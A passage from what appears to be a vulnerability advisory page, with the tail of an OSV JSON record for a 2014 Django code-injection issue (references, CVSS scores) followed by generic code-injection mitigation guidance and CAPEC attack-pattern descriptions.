"type": "WEB",
"url": "https://github.com/django/django/commit/2a5bcb69f42b84464b24b5c835dca6467b6aa7f1"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/4352a50871e239ebcdf64eee6f0b88e714015c1b"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/c1a8c420fe4b27fb2caf5e46d23b5712fc0ac535"
},
{
"type": "PACKAGE",
"url": "https://github.com/django/django"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/django/PYSEC-2014-1.yaml"
},
{
"type": "WEB",
"url": "https://www.djangoproject.com/weblog/2014/apr/21/security"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-updates/2014-09/msg00023.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2014-0456.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2014-0457.html"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2014/dsa-2934"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-2169-1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Code Injection in Django"
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.